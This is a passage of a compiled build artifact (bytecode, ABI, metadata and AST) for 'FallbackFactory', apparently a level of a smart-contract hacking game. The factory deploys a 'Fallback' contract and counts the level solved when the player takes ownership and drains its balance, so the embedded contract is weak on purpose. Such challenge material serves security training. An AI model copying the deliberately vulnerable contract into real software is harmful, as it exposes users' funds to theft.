5f8060405161012d90610338565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd91906103b2565b6001600160a01b03161480156101db57506001600160a01b03811631155b949350505050565b6101eb610278565b6001600160a01b03811661026c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610275816102d1565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610263565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61037a806103ce83390190565b6001600160a01b0381168114610275575f80fd5b5f60208284031215610369575f80fd5b813561037481610345565b9392505050565b5f806040838503121561038c575f80fd5b823561039781610345565b915060208301356103a781610345565b809150509250929050565b5f602082840312156103c2575f80fd5b81516103748161034556fe608060405234801561000f575f80fd5b50600180546001600160a01b031916339081179091555f908152602081905260409020683635c9adc5dea00000905561032f8061004b5f395ff3fe60806040526004361061005b575f3560e01c80638da5cb5b116100415780638da5cb5b14610100578063d7bb99ba14610137578063f10fdf5c1461013f575f80fd5b80633ccfd60b146100ac57806342e94c90146100c2575f80fd5b366100a8575f3411801561007c5750335f9081526020819052604090205415155b610084575f80fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191633908117909155005b5f80fd5b3480156100b7575f80fd5b506100c061015f565b005b3480156100cd575f80fd5b506100ed6100dc36600461028e565b5f6020819052908152604090205481565b6040519081526020015b60405180910390f35b34801561010b575f80fd5b5060015461011f906001600160a01b031681565b6040516001600160a01b0390911681526020016100f7565b6100c0610210565b34801561014a575f80fd5b50335f908152602081905260409020546100ed565b6001546001600160a01b031633146101d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640160405180910390fd5b6001546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561020d573d5f803e3d5ffd5b50565b66038d7ea4c680003410610222575f80fd5b335f90815260208190526040812080543492906102409084906102bb565b90915550506001546001600160a01b03165f9081526020819052604080822054338352912054111561028c576001805473ffffffffffffffffffffffffffffffffffffffff1916331790555b565b5f6020828403121561029e575f80fd5b81356001600160a01b03811681146102b4575f80fd5b9392505050565b808201808211156102f3577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b9291505056fea2646970667358221220da6be5c84540332154b3e10482c62beb46861f512f81969bbbfb64f70a04416f64736f6c63430008180033a2646970667358221220214a663425b34a1fc181a75b09723612eb98c7fb4938c2194defea9689cf928164736f6c63430008180033","sourceMap":"111:473:78:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;111:473:78;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;111:473:78:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610359565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461037b565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610359565b6101e3565b610114610278565b61011d5f6102d1565b565b5f8060405161012d90610338565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd91906103b2565b6001600160a01b03161480156101db57506001600160a01b03811631155b949350505050565b6101eb610278565b6001600160a01b03811661026c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610275816102d1565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610263565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61037a806103ce83390190565b6001600160a01b0381168114610275575f80fd5b5f60208284031215610369575f80fd5b813561037481610345565b9392505050565b5f806040838503121561038c575f80fd5b823561039781610345565b915060208301356103a781610345565b809150509250929050565b5f602082840312156103c2575f80fd5b81516103748161034556fe608060405234801561000f575f80fd5b50600180546001600160a01b031916339081179091555f908152602081905260409020683635c9adc5dea00000905561032f8061004b5f395ff3fe60806040526004361061005b575f3560e01c80638da5cb5b116100415780638da5cb5b14610100578063d7bb99ba14610137578063f10fdf5c1461013f575f80fd5b80633ccfd60b146100ac57806342e94c90146100c2575f80fd5b366100a8575f3411801561007c5750335f9081526020819052604090205415155b610084575f80fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191633908117909155005b5f80fd5b3480156100b7575f80fd5b506100c061015f565b005b3480156100cd575f80fd5b506100ed6100dc36600461028e565b5f6020819052908152604090205481565b6040519081526020015b60405180910390f35b34801561010b575f80fd5b5060015461011f906001600160a01b031681565b6040516001600160a01b0390911681526020016100f7565b6100c0610210565b34801561014a575f80fd5b50335f908152602081905260409020546100ed565b6001546001600160a01b031633146101d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640160405180910390fd5b6001546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561020d573d5f803e3d5ffd5b50565b66038d7ea4c680003410610222575f80fd5b335f90815260208190526040812080543492906102409084906102bb565b90915550506001546001600160a01b03165f9081526020819052604080822054338352912054111561028c576001805473ffffffffffffffffffffffffffffffffffffffff1916331790555b565b5f6020828403121561029e575f80fd5b81356001600160a01b03811681146102b4575f80fd5b9392505050565b808201808211156102f3577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b9291505056fea2646970667358221220da6be5c84540332154b3e10482c62beb46861f512f81969bbbfb64f70a04416f64736f6c63430008180033a2646970667358221220214a663425b34a1fc181a75b09723612eb98c7fb4938c2194defea9689cf928164736f6c63430008180033","sourceMap":"111:473:78:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;151:185:78;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;151:185:78;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;342:240:78;;;;;;;;;;-1:-1:-1;342:240:78;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;342:240:78;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;151:185:78:-;225:7;261:17;281:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;261:34:78;151:185;-1:-1:-1;;;151:185:78:o;342:240::-;442:4;458:17;487:9;458:39;;534:7;-1:-1:-1;;;;;514:27:78;:8;-1:-1:-1;;;;;514:14:78;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;514:27:78;;:61;;;;-1:-1:-1;;;;;;545:25:78;;;:30;514:61;507:68;342:240;-1:-1:-1;;;;342:240:78:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1707:2:155;2161:73:23::1;::::0;::::1;1689:21:155::0;1746:2;1726:18;;;1719:30;1785:34;1765:18;;;1758:62;1856:8;1836:18;;;1829:36;1882:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2114:2:155;1414:68:23;;;2096:21:155;;;2133:18;;;2126:30;2192:34;2172:18;;;2165:62;2244:18;;1414:68:23;1912:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:251::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;1420:9;1414:16;1439:31;1464:5;1439:31;:::i","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/FallbackFactory.sol\":\"FallbackFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Fallback.sol\":{\"keccak256\":\"0xbfa1fed654c49a81e9322e75f29737db0b0118c710c81ffdd11ab5adc5ecc296\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d9bbffc872f54f79540ff741dc3a01487c13117743916f552e2888310994dc41\",\"dweb:/ipfs/QmXVRrTHXMz1UmXFswD7yRQCe9QeK8zRCHT4k3SnbpYcUS\"]},\"src/levels/FallbackFactory.sol\":{\"keccak256\":\"0xcf8386db2b09f2b0d458d8e600bec419e1d08f44946c09384dd400c5d165695c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://458622b6c09742090ea14f614bf159aeda6d0c29f647f7b1f4a4576ff14fbde2\",\"dweb:/ipfs/QmWZaqoCvusCmENadV6ezMPd1Q2TkZrnYi7QVNHxqUyLdb\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/FallbackFactory.sol":"FallbackFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Fallback.sol":{"keccak256":"0xbfa1fed654c49a81e9322e75f29737db0b0118c710c81ffdd11ab5adc5ecc296","urls":["bzz-raw://d9bbffc872f54f79540ff741dc3a01487c13117743916f552e2888310994dc41","dweb:/ipfs/QmXVRrTHXMz1UmXFswD7yRQCe9QeK8zRCHT4k3SnbpYcUS"],"license":"MIT"},"src/levels/FallbackFactory.sol":{"keccak256":"0xcf8386db2b09f2b0d458d8e600bec419e1d08f44946c09384dd400c5d165695c","urls":["bzz-raw://458622b6c09742090ea14f614bf159aeda6d0c29f647f7b1f4a4576ff14fbde2","dweb:/ipfs/QmWZaqoCvusCmENadV6ezMPd1Q2TkZrnYi7QVNHxqUyLdb"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/FallbackFactory.sol","id":52435,"exportedSymbols":{"Context":[48281],"Fallback":[52371],"FallbackFactory":[52434],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:552:78","nodes":[{"id":52373,"nodeType":"PragmaDirective","src":"33:23:78","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52374,"nodeType":"ImportDirective","src":"58:26:78","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":52435,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":52375,"nodeType":"ImportDirective","src":"85:24:78","nodes":[],"absolutePath":"src/levels/Fallback.sol","file":"./Fallback.sol","nameLocation":"-1:-1:-1","scope":52435,"sourceUnit":52372,"symbolAliases":[],"unitAlias":""},{"id":52434,"nodeType":"ContractDefinition","src":"111:473:78","nodes":[{"id":52401,"nodeType":"FunctionDefinition","src":"151:185:78","nodes":[],"body":{"id":52400,"nodeType":"Block","src":"234:102:78","nodes":[],"statements":[{"expression":{"id":52385,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52379,"src":"244:7:78","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52386,"nodeType":"ExpressionStatement","src":"244:7:78"},{"assignments":[52389],"declarations":[{"constant":false,"id":52389,"mutability":"mutable","name":"instance","nameLocation":"270:8:78","nodeType":"VariableDeclaration","scope":52400,"src":"261:17:78","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"},"typeName":{"id":52388,"nodeType":"UserDefinedTypeName","pathNode":{"id":52387,"name":"Fallback","nameLocations":["261:8:78"],"nodeType":"IdentifierPath","referencedDeclaration":52371,"src":"261:8:78"},"referencedDeclaration":52371,"src":"261:8:78","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"visibility":"internal"}],"id":52394,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":52392,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"281:12:78","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Fallback_$52371_$","typeString":"function () returns (contract Fallback)"},"typeName":{"id":52391,"nodeType":"UserDefinedTypeName","pathNode":{"id":52390,"name":"Fallback","nameLocations":["285:8:78"],"nodeType":"IdentifierPath","referencedDeclaration":52371,"src":"285:8:78"},"referencedDeclaration":52371,"src":"285:8:78","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}}},"id":52393,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"281:14:78","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"nodeType":"VariableDeclarationStatement","src":"261:34:78"},{"expression":{"arguments":[{"id":52397,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52389,"src":"320:8:78","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}],"id":52396,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"312:7:78","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52395,"name":"address","nodeType":"ElementaryTypeName","src":"312:7:78","typeDescriptions":{}}},"id":52398,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"312:17:78","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":52384,"id":52399,"nodeType":"Return","src":"305:24:78"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"160:14:78","overrides":{"id":52381,"nodeType":"OverrideSpecifier","overrides":[],"src":"207:8:78"},"parameters":{"id":52380,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52379,"mutability":"mutable","name":"_player","nameLocation":"183:7:78","nodeType":"VariableDeclaration","scope":52401,"src":"175:15:78","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52378,"name":"address","nodeType":"ElementaryTypeName","src":"175:7:78","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"174:17:78"},"returnParameters":{"id":52384,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52383,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52401,"src":"225:7:78","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52382,"name":"address","nodeType":"ElementaryTypeName","src":"225:7:78","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"224:9:78"},"scope":52434,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":52433,"nodeType":"FunctionDefinition","src":"342:240:78","nodes":[],"body":{"id":52432,"nodeType":"Block","src":"448:134:78","nodes":[],"statements":[{"assignments":[52413],"declarations":[{"constant":false,"id":52413,"mutability":"mutable","name":"instance","nameLocation":"467:8:78","nodeType":"VariableDeclaration","scope":52432,"src":"458:17:78","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"},"typeName":{"id":52412,"nodeType":"UserDefinedTypeName","pathNode":{"id":52411,"name":"Fallback","nameLocations":["458:8:78"],"nodeType":"IdentifierPath","referencedDeclaration":52371,"src":"458:8:78"},"referencedDeclaration":52371,"src":"458:8:78","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"visibility":"internal"}],"id":52417,"initialValue":{"arguments":[{"id":52415,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52403,"src":"487:9:78","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":52414,"name":"Fallback","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52371,"src":"478:8:78","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Fallback_$52371_$","typeString":"type(contract Fallback)"}},"id":52416,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"478:19:78","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"nodeType":"VariableDeclarationStatement","src":"458:39:78"},{"expression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":52430,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52422,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":52418,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52413,"src":"514:8:78","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"id":52419,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"523:5:78","memberName":"owner","nodeType":"MemberAccess","referencedDeclaration":52253,"src":"514:14:78","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":52420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"514:16:78","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":52421,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52405,"src":"534:7:78","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"514:27:78","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52429,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":52425,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52413,"src":"553:8:78","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}],"id":52424,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"545:7:78","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52423,"name":"address","nodeType":"ElementaryTypeName","src":"545:7:78","typeDescriptions":{}}},"id":52426,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"545:17:78","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52427,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"563:7:78","memberName":"balance","nodeType":"MemberAccess","src":"545:25:78","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":52428,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"574:1:78","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const